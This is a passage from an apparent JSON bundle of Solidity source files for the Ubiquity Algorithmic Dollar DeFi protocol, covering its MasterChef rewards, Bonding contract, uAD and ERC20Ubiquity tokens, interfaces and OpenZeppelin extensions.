user.rewardDebt;\n _safeUGOVTransfer(sender, pending);\n user.amount = user.amount - _amount;\n user.rewardDebt = (user.amount * pool.accuGOVPerShare) / 1e12;\n /* pool.lpToken.safeTransfer(msg.sender, _amount); */\n emit Withdraw(sender, _amount);\n }\n\n /// @dev get pending uGOV rewards from MasterChef.\n /// @return amount of pending rewards transfered to msg.sender\n /// @notice only send pending rewards\n function getRewards() external returns (uint256) {\n UserInfo storage user = userInfo[msg.sender];\n _updatePool();\n uint256 pending =\n ((user.amount * pool.accuGOVPerShare) / 1e12) - user.rewardDebt;\n _safeUGOVTransfer(msg.sender, pending);\n user.rewardDebt = (user.amount * pool.accuGOVPerShare) / 1e12;\n return pending;\n }\n\n // View function to see pending uGOVs on frontend.\n function pendingUGOV(address _user) external view returns (uint256) {\n UserInfo storage user = userInfo[_user];\n uint256 accuGOVPerShare = pool.accuGOVPerShare;\n uint256 lpSupply =\n IERC1155Ubiquity(manager.bondingShareAddress()).totalSupply();\n\n if (block.number > pool.lastRewardBlock && lpSupply != 0) {\n uint256 multiplier = _getMultiplier();\n\n uint256 uGOVReward = (multiplier * uGOVPerBlock) / 1e18;\n accuGOVPerShare =\n accuGOVPerShare +\n ((uGOVReward * 1e12) / lpSupply);\n }\n\n return (user.amount * accuGOVPerShare) / 1e12 - user.rewardDebt;\n }\n\n // UPDATE uGOV multiplier\n function _updateUGOVMultiplier() internal {\n // (1.05/(1+abs(1-TWAP_PRICE)))\n uint256 currentPrice = _getTwapPrice();\n\n bool isPriceDiffEnough = false;\n // a minimum price variation is needed to update the multiplier\n if (currentPrice > lastPrice) {\n isPriceDiffEnough =\n currentPrice - lastPrice > minPriceDiffToUpdateMultiplier;\n } else {\n isPriceDiffEnough =\n lastPrice - currentPrice > minPriceDiffToUpdateMultiplier;\n }\n\n if (isPriceDiffEnough) {\n uGOVmultiplier = IUbiquityFormulas(manager.formulasAddress())\n .ugovMultiply(uGOVmultiplier, currentPrice);\n lastPrice = currentPrice;\n }\n }\n\n // Update reward variables of the given pool to be up-to-date.\n function _updatePool() internal {\n if (block.number <= pool.lastRewardBlock) {\n return;\n }\n _updateUGOVMultiplier();\n uint256 lpSupply =\n IERC1155Ubiquity(manager.bondingShareAddress()).totalSupply();\n /* IERC20(manager.stableSwapMetaPoolAddress()).balanceOf(\n manager.bondingContractAddress()\n ); */\n\n if (lpSupply == 0) {\n pool.lastRewardBlock = block.number;\n return;\n }\n uint256 multiplier = _getMultiplier();\n uint256 uGOVReward = (multiplier * uGOVPerBlock) / 1e18;\n IERC20Ubiquity(manager.governanceTokenAddress()).mint(\n address(this),\n uGOVReward\n );\n // mint another 20% for the treasury\n IERC20Ubiquity(manager.governanceTokenAddress()).mint(\n manager.treasuryAddress(),\n uGOVReward / 5\n );\n pool.accuGOVPerShare =\n pool.accuGOVPerShare +\n ((uGOVReward * 1e12) / lpSupply);\n pool.lastRewardBlock = block.number;\n }\n\n // Safe uGOV transfer function, just in case if rounding\n // error causes pool to not have enough uGOVs.\n function _safeUGOVTransfer(address _to, uint256 _amount) internal {\n IERC20Ubiquity uGOV = IERC20Ubiquity(manager.governanceTokenAddress());\n uint256 uGOVBal = uGOV.balanceOf(address(this));\n if (_amount > uGOVBal) {\n uGOV.safeTransfer(_to, uGOVBal);\n } else {\n uGOV.safeTransfer(_to, _amount);\n }\n }\n\n function _getMultiplier() internal view returns (uint256) {\n return (block.number - pool.lastRewardBlock) * uGOVmultiplier;\n }\n\n function _getTwapPrice() internal view returns (uint256) {\n return\n ITWAPOracle(manager.twapOracleAddress()).consult(\n manager.dollarTokenAddress()\n );\n }\n}\n" - }, - "contracts/interfaces/ITWAPOracle.sol": { - "content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.3;\n\ninterface ITWAPOracle {\n function update() external;\n\n function consult(address token) external view returns (uint256 amountOut);\n}\n" - }, - "contracts/interfaces/IERC1155Ubiquity.sol": { - "content": "// SPDX-License-Identifier: Apache-2.0\npragma solidity ^0.8.3;\n\nimport \"@openzeppelin/contracts/token/ERC1155/IERC1155.sol\";\n\n/// @title ERC1155 Ubiquiti preset interface\n/// @author Ubiquity Algorithmic Dollar\ninterface IERC1155Ubiquity is IERC1155 {\n function mint(\n address to,\n uint256 id,\n uint256 amount,\n bytes memory data\n ) external;\n\n function mintBatch(\n address to,\n uint256[] memory ids,\n uint256[] memory amounts,\n bytes memory data\n ) external;\n\n function burn(\n address account,\n uint256 id,\n uint256 value\n ) external;\n\n function burnBatch(\n address account,\n uint256[] memory ids,\n uint256[] memory values\n ) external;\n\n function pause() external;\n\n function unpause() external;\n\n function totalSupply() external view returns (uint256);\n\n function exists(uint256 id) external view returns (bool);\n\n function holderTokens() external view returns (uint256[] memory);\n}\n" - }, - "contracts/interfaces/IUbiquityFormulas.sol": { - "content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.3;\n\ninterface IUbiquityFormulas {\n function durationMultiply(\n uint256 _uLP,\n uint256 _weeks,\n uint256 _multiplier\n ) external pure returns (uint256 _shares);\n\n function bonding(\n uint256 _shares,\n uint256 _currentShareValue,\n uint256 _targetPrice\n ) external pure returns (uint256 _uBOND);\n\n function redeemBonds(\n uint256 _uBOND,\n uint256 _currentShareValue,\n uint256 _targetPrice\n ) external pure returns (uint256 _uLP);\n\n function bondPrice(\n uint256 _totalULP,\n uint256 _totalUBOND,\n uint256 _targetPrice\n ) external pure returns (uint256 _priceUBOND);\n\n function ugovMultiply(uint256 _multiplier, uint256 _price)\n external\n pure\n returns (uint256 _newMultiplier);\n}\n" - }, - "contracts/Bonding.sol": { - "content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.3;\n\nimport \"@openzeppelin/contracts/token/ERC20/IERC20.sol\";\nimport \"@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol\";\nimport \"./interfaces/IERC1155Ubiquity.sol\";\nimport \"./interfaces/IMetaPool.sol\";\nimport \"./interfaces/IUbiquityFormulas.sol\";\nimport \"./UbiquityAlgorithmicDollar.sol\";\nimport \"./UbiquityAlgorithmicDollarManager.sol\";\nimport \"./interfaces/ISablier.sol\";\nimport \"./interfaces/IMasterChef.sol\";\nimport \"./interfaces/ITWAPOracle.sol\";\nimport \"./interfaces/IERC1155Ubiquity.sol\";\nimport \"./utils/CollectableDust.sol\";\n\ncontract Bonding is CollectableDust {\n using SafeERC20 for IERC20;\n\n bytes public data = \"\";\n UbiquityAlgorithmicDollarManager public manager;\n\n uint256 public constant ONE = uint256(1 ether); // 3Crv has 18 decimals\n ISablier public sablier;\n uint256 public bondingDiscountMultiplier = uint256(1000000 gwei); // 0.001\n uint256 public redeemStreamTime = 86400; // 1 day in seconds\n uint256 public blockCountInAWeek = 45361;\n uint256 public blockRonding = 100;\n uint256 public uGOVPerBlock = 1;\n\n event MaxBondingPriceUpdated(uint256 _maxBondingPrice);\n event SablierUpdated(address _sablier);\n event BondingDiscountMultiplierUpdated(uint256 _bondingDiscountMultiplier);\n event RedeemStreamTimeUpdated(uint256 _redeemStreamTime);\n event BlockRondingUpdated(uint256 _blockRonding);\n event BlockCountInAWeekUpdated(uint256 _blockCountInAWeek);\n event UGOVPerBlockUpdated(uint256 _uGOVPerBlock);\n\n modifier onlyBondingManager() {\n require(\n manager.hasRole(manager.BONDING_MANAGER_ROLE(), msg.sender),\n \"Caller is not a bonding manager\"\n );\n _;\n }\n\n constructor(address _manager, address _sablier) CollectableDust() {\n manager = UbiquityAlgorithmicDollarManager(_manager);\n sablier = ISablier(_sablier);\n }\n\n // solhint-disable-next-line no-empty-blocks\n receive() external payable {}\n\n /// @dev uADPriceReset remove uAD unilateraly from the curve LP share sitting inside\n /// the bonding contract and send the uAD received to the treasury.\n /// This will have the immediate effect of pushing the uAD price HIGHER\n /// @param amount of LP token to be removed for uAD\n /// @notice it will remove one coin only from the curve LP share sitting in the bonding contract\n function uADPriceReset(uint256 amount) external onlyBondingManager {\n IMetaPool metaPool = IMetaPool(manager.stableSwapMetaPoolAddress());\n // safe approve\n IERC20(manager.stableSwapMetaPoolAddress()).safeApprove(\n address(this),\n amount\n );\n // remove one coin\n uint256 expected =\n (metaPool.calc_withdraw_one_coin(amount, 0) * 99) / 100;\n // update twap\n metaPool.remove_liquidity_one_coin(amount, 0, expected);\n ITWAPOracle(manager.twapOracleAddress()).update();\n IERC20(manager.dollarTokenAddress()).safeTransfer(\n manager.treasuryAddress(),\n IERC20(manager.dollarTokenAddress()).balanceOf(address(this))\n );\n }\n\n /// @dev crvPriceReset remove 3CRV unilateraly from the curve LP share sitting inside\n /// the bonding contract and send the 3CRV received to the treasury\n /// This will have the immediate effect of pushing the uAD price LOWER\n /// @param amount of LP token to be removed for 3CRV tokens\n /// @notice it will remove one coin only from the curve LP share sitting in the bonding contract\n function crvPriceReset(uint256 amount) external onlyBondingManager {\n IMetaPool metaPool = IMetaPool(manager.stableSwapMetaPoolAddress());\n // safe approve\n IERC20(manager.stableSwapMetaPoolAddress()).safeApprove(\n address(this),\n amount\n );\n // remove one coin\n uint256 expected =\n (metaPool.calc_withdraw_one_coin(amount, 1) * 99) / 100;\n // update twap\n metaPool.remove_liquidity_one_coin(amount, 1, expected);\n ITWAPOracle(manager.twapOracleAddress()).update();\n IERC20(manager.curve3PoolTokenAddress()).safeTransfer(\n manager.treasuryAddress(),\n IERC20(manager.curve3PoolTokenAddress()).balanceOf(address(this))\n );\n }\n\n /// Collectable Dust\n function addProtocolToken(address _token)\n external\n override\n onlyBondingManager\n {\n _addProtocolToken(_token);\n }\n\n function removeProtocolToken(address _token)\n external\n override\n onlyBondingManager\n {\n _removeProtocolToken(_token);\n }\n\n function sendDust(\n address _to,\n address _token,\n uint256 _amount\n ) external override onlyBondingManager {\n _sendDust(_to, _token, _amount);\n }\n\n function setSablier(address _sablier) external onlyBondingManager {\n sablier = ISablier(_sablier);\n emit SablierUpdated(_sablier);\n }\n\n function setBondingDiscountMultiplier(uint256 _bondingDiscountMultiplier)\n external\n onlyBondingManager\n {\n bondingDiscountMultiplier = _bondingDiscountMultiplier;\n emit BondingDiscountMultiplierUpdated(_bondingDiscountMultiplier);\n }\n\n function setRedeemStreamTime(uint256 _redeemStreamTime)\n external\n onlyBondingManager\n {\n redeemStreamTime = _redeemStreamTime;\n emit RedeemStreamTimeUpdated(_redeemStreamTime);\n }\n\n function setBlockRonding(uint256 _blockRonding)\n external\n onlyBondingManager\n {\n blockRonding = _blockRonding;\n emit BlockRondingUpdated(_blockRonding);\n }\n\n function setBlockCountInAWeek(uint256 _blockCountInAWeek)\n external\n onlyBondingManager\n {\n blockCountInAWeek = _blockCountInAWeek;\n emit BlockCountInAWeekUpdated(_blockCountInAWeek);\n }\n\n function setUGOVPerBlock(uint256 _uGOVPerBlock)\n external\n onlyBondingManager\n {\n uGOVPerBlock = _uGOVPerBlock;\n emit UGOVPerBlockUpdated(_uGOVPerBlock);\n }\n\n /// @dev deposit uAD-3CRV LP tokens for a duration to receive bonding shares\n /// @param _lpsAmount of LP token to send\n /// @param _weeks during lp token will be held\n /// @notice weeks act as a multiplier for the amount of bonding shares to be received\n function deposit(uint256 _lpsAmount, uint256 _weeks)\n public\n returns (uint256 _id)\n {\n require(\n 1 <= _weeks && _weeks <= 208,\n \"Bonding: duration must be between 1 and 208 weeks\"\n );\n _updateOracle();\n\n IERC20(manager.stableSwapMetaPoolAddress()).safeTransferFrom(\n msg.sender,\n address(this),\n _lpsAmount\n );\n\n uint256 _sharesAmount =\n IUbiquityFormulas(manager.formulasAddress()).durationMultiply(\n _lpsAmount,\n _weeks,\n bondingDiscountMultiplier\n );\n\n // 1 week = 45361 blocks = 2371753*7/366\n // n = (block + duration * 45361)\n // id = n - n % blockRonding\n // blockRonding = 100 => 2 ending zeros\n uint256 n = block.number + _weeks * blockCountInAWeek;\n _id = n - (n % blockRonding);\n _mint(_sharesAmount, _id);\n // set masterchef for uGOV rewards\n IMasterChef(manager.masterChefAddress()).deposit(\n _sharesAmount,\n msg.sender\n );\n }\n\n /// @dev withdraw an amount of uAD-3CRV LP tokens\n /// @param _sharesAmount of bonding shares of type _id to be withdrawn\n /// @param _id bonding shares id\n /// @notice bonding shares are ERC1155 (aka NFT) because they have an expiration date\n function withdraw(uint256 _sharesAmount, uint256 _id) public {\n require(\n block.number > _id,\n \"Bonding: Redeem not allowed before bonding time\"\n );\n\n require(\n IERC1155Ubiquity(manager.bondingShareAddress()).balanceOf(\n msg.sender,\n _id\n ) >= _sharesAmount,\n \"Bonding: caller does not have enough shares\"\n );\n\n _updateOracle();\n // get masterchef for uGOV rewards To ensure correct computation\n // it needs to be done BEFORE burning the shares\n IMasterChef(manager.masterChefAddress()).withdraw(\n _sharesAmount,\n msg.sender\n );\n\n uint256 _currentShareValue = currentShareValue();\n\n IERC1155Ubiquity(manager.bondingShareAddress()).burn(\n msg.sender,\n _id,\n _sharesAmount\n );\n\n // if (redeemStreamTime == 0) {\n IERC20(manager.stableSwapMetaPoolAddress()).safeTransfer(\n msg.sender,\n IUbiquityFormulas(manager.formulasAddress()).redeemBonds(\n _sharesAmount,\n _currentShareValue,\n ONE\n )\n );\n }\n\n function currentShareValue() public view returns (uint256 priceShare) {\n uint256 totalLP =\n IERC20(manager.stableSwapMetaPoolAddress()).balanceOf(\n address(this)\n );\n\n uint256 totalShares =\n IERC1155Ubiquity(manager.bondingShareAddress()).totalSupply();\n\n priceShare = IUbiquityFormulas(manager.formulasAddress()).bondPrice(\n totalLP,\n totalShares,\n ONE\n );\n }\n\n function currentTokenPrice() public view returns (uint256) {\n return\n ITWAPOracle(manager.twapOracleAddress()).consult(\n manager.dollarTokenAddress()\n );\n }\n\n function _mint(uint256 _sharesAmount, uint256 _id) internal {\n uint256 _currentShareValue = currentShareValue();\n require(\n _currentShareValue != 0,\n \"Bonding: share value should not be null\"\n );\n\n IERC1155Ubiquity(manager.bondingShareAddress()).mint(\n msg.sender,\n _id,\n _sharesAmount,\n data\n );\n }\n\n function _updateOracle() internal {\n ITWAPOracle(manager.twapOracleAddress()).update();\n }\n}\n" - }, - "contracts/UbiquityAlgorithmicDollar.sol": { - "content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.3;\n\nimport \"./interfaces/IIncentive.sol\";\nimport \"./ERC20Ubiquity.sol\";\n\ncontract UbiquityAlgorithmicDollar is ERC20Ubiquity {\n /// @notice get associated incentive contract, 0 address if N/A\n mapping(address => address) public incentiveContract;\n\n event IncentiveContractUpdate(\n address indexed _incentivized,\n address indexed _incentiveContract\n );\n\n constructor(address _manager)\n ERC20Ubiquity(_manager, \"Ubiquity Algorithmic Dollar\", \"uAD\")\n {} // solhint-disable-line no-empty-blocks\n\n /// @param account the account to incentivize\n /// @param incentive the associated incentive contract\n /// @notice only UAD manager can set Incentive contract\n function setIncentiveContract(address account, address incentive) external {\n require(\n ERC20Ubiquity.manager.hasRole(\n ERC20Ubiquity.manager.UBQ_TOKEN_MANAGER_ROLE(),\n msg.sender\n ),\n \"Dollar: must have admin role\"\n );\n\n incentiveContract[account] = incentive;\n emit IncentiveContractUpdate(account, incentive);\n }\n\n function _checkAndApplyIncentives(\n address sender,\n address recipient,\n uint256 amount\n ) internal {\n // incentive on sender\n address senderIncentive = incentiveContract[sender];\n if (senderIncentive != address(0)) {\n IIncentive(senderIncentive).incentivize(\n sender,\n recipient,\n msg.sender,\n amount\n );\n }\n\n // incentive on recipient\n address recipientIncentive = incentiveContract[recipient];\n if (recipientIncentive != address(0)) {\n IIncentive(recipientIncentive).incentivize(\n sender,\n recipient,\n msg.sender,\n amount\n );\n }\n\n // incentive on operator\n address operatorIncentive = incentiveContract[msg.sender];\n if (\n msg.sender != sender &&\n msg.sender != recipient &&\n operatorIncentive != address(0)\n ) {\n IIncentive(operatorIncentive).incentivize(\n sender,\n recipient,\n msg.sender,\n amount\n );\n }\n\n // all incentive, if active applies to every transfer\n address allIncentive = incentiveContract[address(0)];\n if (allIncentive != address(0)) {\n IIncentive(allIncentive).incentivize(\n sender,\n recipient,\n msg.sender,\n amount\n );\n }\n }\n\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal override {\n super._transfer(sender, recipient, amount);\n _checkAndApplyIncentives(sender, recipient, amount);\n }\n}\n" - }, - "contracts/interfaces/ISablier.sol": { - "content": "// SPDX-License-Identifier: MIT\n// !! THIS FILE WAS AUTOGENERATED BY abi-to-sol. SEE BELOW FOR SOURCE. !!\npragma solidity ^0.8.3;\n\ninterface ISablier {\n event CreateCompoundingStream(\n uint256 indexed streamId,\n uint256 exchangeRate,\n uint256 senderSharePercentage,\n uint256 recipientSharePercentage\n );\n event PayInterest(\n uint256 indexed streamId,\n uint256 senderInterest,\n uint256 recipientInterest,\n uint256 sablierInterest\n );\n event TakeEarnings(address indexed tokenAddress, uint256 indexed amount);\n event UpdateFee(uint256 indexed fee);\n event Paused(address account);\n event Unpaused(address account);\n event PauserAdded(address indexed account);\n event PauserRemoved(address indexed account);\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n event CreateStream(\n uint256 indexed streamId,\n address indexed sender,\n address indexed recipient,\n uint256 deposit,\n address tokenAddress,\n uint256 startTime,\n uint256 stopTime\n );\n event WithdrawFromStream(\n uint256 indexed streamId,\n address indexed recipient,\n uint256 amount\n );\n event CancelStream(\n uint256 indexed streamId,\n address indexed sender,\n address indexed recipient,\n uint256 senderBalance,\n uint256 recipientBalance\n );\n\n function unpause() external;\n\n function cancelStream(uint256 streamId) external returns (bool);\n\n function withdrawFromStream(uint256 streamId, uint256 amount)\n external\n returns (bool);\n\n function initialize() external;\n\n function createCompoundingStream(\n address recipient,\n uint256 deposit,\n address tokenAddress,\n uint256 startTime,\n uint256 stopTime,\n uint256 senderSharePercentage,\n uint256 recipientSharePercentage\n ) external returns (uint256);\n\n function addPauser(address account) external;\n\n function pause() external;\n\n function interestOf(uint256 streamId, uint256 amount)\n external\n returns (\n uint256 senderInterest,\n uint256 recipientInterest,\n uint256 sablierInterest\n );\n\n function updateFee(uint256 feePercentage) external;\n\n function takeEarnings(address tokenAddress, uint256 amount) external;\n\n function initialize(address sender) external;\n\n function createStream(\n address recipient,\n uint256 deposit,\n address tokenAddress,\n uint256 startTime,\n uint256 stopTime\n ) external returns (uint256);\n\n function transferOwnership(address newOwner) external;\n\n function getEarnings(address tokenAddress) external view returns (uint256);\n\n function nextStreamId() external view returns (uint256);\n\n function getCompoundingStream(uint256 streamId)\n external\n view\n returns (\n address sender,\n address recipient,\n uint256 deposit,\n address tokenAddress,\n uint256 startTime,\n uint256 stopTime,\n uint256 remainingBalance,\n uint256 ratePerSecond,\n uint256 exchangeRateInitial,\n uint256 senderSharePercentage,\n uint256 recipientSharePercentage\n );\n\n function balanceOf(uint256 streamId, address who)\n external\n view\n returns (uint256 balance);\n\n function isPauser(address account) external view returns (bool);\n\n function paused() external view returns (bool);\n\n function getStream(uint256 streamId)\n external\n view\n returns (\n address sender,\n address recipient,\n uint256 deposit,\n address tokenAddress,\n uint256 startTime,\n uint256 stopTime,\n uint256 remainingBalance,\n uint256 ratePerSecond\n );\n\n function owner() external view returns (address);\n\n function isOwner() external view returns (bool);\n\n function isCompoundingStream(uint256 streamId) external view returns (bool);\n\n function deltaOf(uint256 streamId) external view returns (uint256 delta);\n\n function cTokenManager() external view returns (address);\n\n function fee() external view returns (uint256 mantissa);\n}\n" - }, - "contracts/interfaces/IMasterChef.sol": { - "content": "// SPDX-License-Identifier: UNLICENSED\n// !! THIS FILE WAS AUTOGENERATED BY abi-to-sol. SEE BELOW FOR SOURCE. !!\npragma solidity ^0.8.3;\n\nimport \"@openzeppelin/contracts/token/ERC20/IERC20.sol\";\n\ninterface IMasterChef {\n struct UserInfo {\n uint256 amount; // How many LP tokens the user has provided.\n uint256 rewardDebt; // Reward debt. See explanation below.\n }\n struct PoolInfo {\n uint256 lastRewardBlock; // Last block number that SUSHI distribution occurs.\n uint256 accuGOVPerShare; // Accumulated SUSHI per share, times 1e12. See below.\n }\n\n event Deposit(address indexed user, uint256 amount);\n event Withdraw(address indexed user, uint256 amount);\n\n function deposit(uint256 _amount, address sender) external;\n\n // Withdraw LP tokens from MasterChef.\n function withdraw(uint256 _amount, address sender) external;\n\n // View function to see pending SUSHIs on frontend.\n function pendingUGOV(address _user) external view returns (uint256);\n}\n\n// THIS FILE WAS AUTOGENERATED FROM THE FOLLOWING ABI JSON:\n" - }, - "contracts/utils/CollectableDust.sol": { - "content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.3;\n\nimport \"@openzeppelin/contracts/utils/Address.sol\";\nimport \"@openzeppelin/contracts/utils/structs/EnumerableSet.sol\";\nimport \"@openzeppelin/contracts/token/ERC20/IERC20.sol\";\nimport \"@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol\";\n\nimport \"../interfaces/utils/ICollectableDust.sol\";\n\nabstract contract CollectableDust is ICollectableDust {\n using SafeERC20 for IERC20;\n using EnumerableSet for EnumerableSet.AddressSet;\n\n address public constant ETH_ADDRESS =\n 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE;\n EnumerableSet.AddressSet internal _protocolTokens;\n\n // solhint-disable-next-line no-empty-blocks\n constructor() {}\n\n function _addProtocolToken(address _token) internal {\n require(\n !_protocolTokens.contains(_token),\n \"collectable-dust::token-is-part-of-the-protocol\"\n );\n _protocolTokens.add(_token);\n emit ProtocolTokenAdded(_token);\n }\n\n function _removeProtocolToken(address _token) internal {\n require(\n _protocolTokens.contains(_token),\n \"collectable-dust::token-not-part-of-the-protocol\"\n );\n _protocolTokens.remove(_token);\n emit ProtocolTokenRemoved(_token);\n }\n\n function _sendDust(\n address _to,\n address _token,\n uint256 _amount\n ) internal {\n require(\n _to != address(0),\n \"collectable-dust::cant-send-dust-to-zero-address\"\n );\n require(\n !_protocolTokens.contains(_token),\n \"collectable-dust::token-is-part-of-the-protocol\"\n );\n if (_token == ETH_ADDRESS) {\n payable(_to).transfer(_amount);\n } else {\n IERC20(_token).safeTransfer(_to, _amount);\n }\n emit DustSent(_to, _token, _amount);\n }\n}\n" - }, - "contracts/interfaces/IIncentive.sol": { - "content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.3;\n\n/// @title incentive contract interface\n/// @notice Called by uAD token contract when transferring with an incentivized address\n/// @dev should be appointed as a Minter or Burner as needed\ninterface IIncentive {\n /// @notice apply incentives on transfer\n /// @param sender the sender address of uAD\n /// @param receiver the receiver address of uAD\n /// @param operator the operator (msg.sender) of the transfer\n /// @param amount the amount of uAD transferred\n function incentivize(\n address sender,\n address receiver,\n address operator,\n uint256 amount\n ) external;\n}\n" - }, - "contracts/ERC20Ubiquity.sol": { - "content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.3;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\";\nimport \"@openzeppelin/contracts/token/ERC20/extensions/ERC20Burnable.sol\";\nimport \"@openzeppelin/contracts/token/ERC20/extensions/ERC20Pausable.sol\";\nimport \"./UbiquityAlgorithmicDollarManager.sol\";\nimport \"./interfaces/IERC20Ubiquity.sol\";\n\n/// @title ERC20 Ubiquity preset\n/// @author Ubiquity Algorithmic Dollar\n/// @notice ERC20 with :\n/// - ERC20 minter, burner and pauser\n/// - draft-ERC20 permit\n/// - Ubiquity Manager access control\ncontract ERC20Ubiquity is IERC20Ubiquity, ERC20, ERC20Burnable, ERC20Pausable {\n UbiquityAlgorithmicDollarManager public manager;\n\n // solhint-disable-next-line var-name-mixedcase\n bytes32 public DOMAIN_SEPARATOR;\n // keccak256(\"Permit(address owner,address spender,\n // uint256 value,uint256 nonce,uint256 deadline)\");\n bytes32 public constant PERMIT_TYPEHASH =\n 0x6e71edae12b1b97f4d1f60370fef10105fa2faae0126114a169c64845d6126c9;\n mapping(address => uint256) public nonces;\n string private _tokenName;\n string private _symbol;\n\n // ----------- Modifiers -----------\n modifier onlyMinter() {\n require(\n manager.hasRole(manager.UBQ_MINTER_ROLE(), msg.sender),\n \"Governance token: not minter\"\n );\n _;\n }\n\n modifier onlyBurner() {\n require(\n manager.hasRole(manager.UBQ_BURNER_ROLE(), msg.sender),\n \"Governance token: not burner\"\n );\n _;\n }\n\n modifier onlyPauser() {\n require(\n manager.hasRole(manager.PAUSER_ROLE(), msg.sender),\n \"Governance token: not pauser\"\n );\n _;\n }\n\n modifier onlyAdmin() {\n require(\n manager.hasRole(manager.DEFAULT_ADMIN_ROLE(), msg.sender),\n \"ERC20: deployer must be manager admin\"\n );\n _;\n }\n\n constructor(\n address _manager,\n string memory name_,\n string memory symbol_\n ) ERC20(name_, symbol_) {\n _tokenName = name_;\n _symbol = symbol_;\n manager = UbiquityAlgorithmicDollarManager(_manager);\n // sender must be UbiquityAlgorithmicDollarManager roleAdmin\n // because he will get the admin, minter and pauser role on uAD and we want to\n // manage all permissions through the manager\n require(\n manager.hasRole(manager.DEFAULT_ADMIN_ROLE(), msg.sender),\n \"ERC20: deployer must be manager admin\"\n );\n uint256 chainId;\n // solhint-disable-next-line no-inline-assembly\n assembly {\n chainId := chainid()\n }\n\n DOMAIN_SEPARATOR = keccak256(\n abi.encode(\n keccak256(\n // solhint-disable-next-line max-line-length\n \"EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)\"\n ),\n keccak256(bytes(name())),\n keccak256(bytes(\"1\")),\n chainId,\n address(this)\n )\n );\n }\n\n /// @notice setSymbol update token symbol\n /// @param newSymbol new token symbol\n function setSymbol(string memory newSymbol) external onlyAdmin {\n _symbol = newSymbol;\n }\n\n /// @notice setName update token name\n /// @param newName new token name\n function setName(string memory newName) external onlyAdmin {\n _tokenName = newName;\n }\n\n /// @notice permit spending of uAD. owner has signed a message allowing\n /// spender to transfer up to amount uAD\n /// @param owner the uAD holder\n /// @param spender the approved operator\n /// @param value the amount approved\n /// @param deadline the deadline after which the approval is no longer valid\n function permit(\n address owner,\n address spender,\n uint256 value,\n uint256 deadline,\n uint8 v,\n bytes32 r,\n bytes32 s\n ) external override {\n // solhint-disable-next-line not-rely-on-time\n require(deadline >= block.timestamp, \"Dollar: EXPIRED\");\n bytes32 digest =\n keccak256(\n abi.encodePacked(\n \"\\x19\\x01\",\n DOMAIN_SEPARATOR,\n keccak256(\n abi.encode(\n PERMIT_TYPEHASH,\n owner,\n spender,\n value,\n nonces[owner]++,\n deadline\n )\n )\n )\n );\n address recoveredAddress = ecrecover(digest, v, r, s);\n require(\n recoveredAddress != address(0) && recoveredAddress == owner,\n \"Dollar: INVALID_SIGNATURE\"\n );\n _approve(owner, spender, value);\n }\n\n /// @notice burn UAD tokens from caller\n /// @param amount the amount to burn\n function burn(uint256 amount)\n public\n override(ERC20Burnable, IERC20Ubiquity)\n whenNotPaused\n {\n super.burn(amount);\n emit Burning(msg.sender, amount);\n }\n\n /// @notice burn uAD tokens from specified account\n /// @param account the account to burn from\n /// @param amount the amount to burn\n function burnFrom(address account, uint256 amount)\n public\n override(ERC20Burnable, IERC20Ubiquity)\n onlyBurner\n whenNotPaused // to suppress ? if BURNER_ROLE should do it even paused ?\n {\n _burn(account, amount);\n emit Burning(account, amount);\n }\n\n // @dev Creates `amount` new tokens for `to`.\n function mint(address to, uint256 amount)\n public\n override\n onlyMinter\n whenNotPaused\n {\n _mint(to, amount);\n emit Minting(to, msg.sender, amount);\n }\n\n // @dev Pauses all token transfers.\n function pause() public onlyPauser {\n _pause();\n }\n\n // @dev Unpauses all token transfers.\n function unpause() public onlyPauser {\n _unpause();\n }\n\n /**\n * @dev Returns the name of the token.\n */\n function name() public view override(ERC20) returns (string memory) {\n return _tokenName;\n }\n\n /**\n * @dev Returns the symbol of the token, usually a shorter version of the\n * name.\n */\n function symbol() public view override(ERC20) returns (string memory) {\n return _symbol;\n }\n\n function _beforeTokenTransfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual override(ERC20, ERC20Pausable) {\n super._beforeTokenTransfer(from, to, amount);\n }\n\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal virtual override whenNotPaused {\n super._transfer(sender, recipient, amount);\n }\n}\n" - }, - "@openzeppelin/contracts/token/ERC20/extensions/ERC20Burnable.sol": { - "content": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"../ERC20.sol\";\nimport \"../../../utils/Context.sol\";\n\n/**\n * @dev Extension of {ERC20} that allows token holders to destroy both their own\n * tokens and those that they have an allowance for, in a way that can be\n * recognized off-chain (via event analysis).\n */\nabstract contract ERC20Burnable is Context, ERC20 {\n /**\n * @dev Destroys `amount` tokens from the caller.\n *\n * See {ERC20-_burn}.\n */\n function burn(uint256 amount) public virtual {\n _burn(_msgSender(), amount);\n }\n\n /**\n * @dev Destroys `amount` tokens from `account`, deducting from the caller's\n * allowance.\n *\n * See {ERC20-_burn} and {ERC20-allowance}.\n *\n * Requirements:\n *\n * - the caller must have allowance for ``accounts``'s tokens of at least\n * `amount`.\n */\n function burnFrom(address account, uint256 amount) public virtual {\n uint256 currentAllowance = allowance(account, _msgSender());\n require(currentAllowance >= amount, \"ERC20: burn amount exceeds allowance\");\n _approve(account, _msgSender(), currentAllowance - amount);\n _burn(account, amount);\n }\n}\n" - }, - "@openzeppelin/contracts/token/ERC20/extensions/ERC20Pausable.sol": { - "content": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"../ERC20.sol\";\nimport \"../../../security/Pausable.sol\";\n\n/**\n * @dev ERC20 token with pausable token transfers, minting and burning.\n *\n * Useful for scenarios such as preventing trades until the end of an evaluation\n * period, or having an emergency switch for freezing all token transfers in the\n * event of a large bug.\n */\nabstract contract ERC20Pausable is ERC20, Pausable {\n /**\n * @dev See {ERC20-_beforeTokenTransfer}.\n *\n * 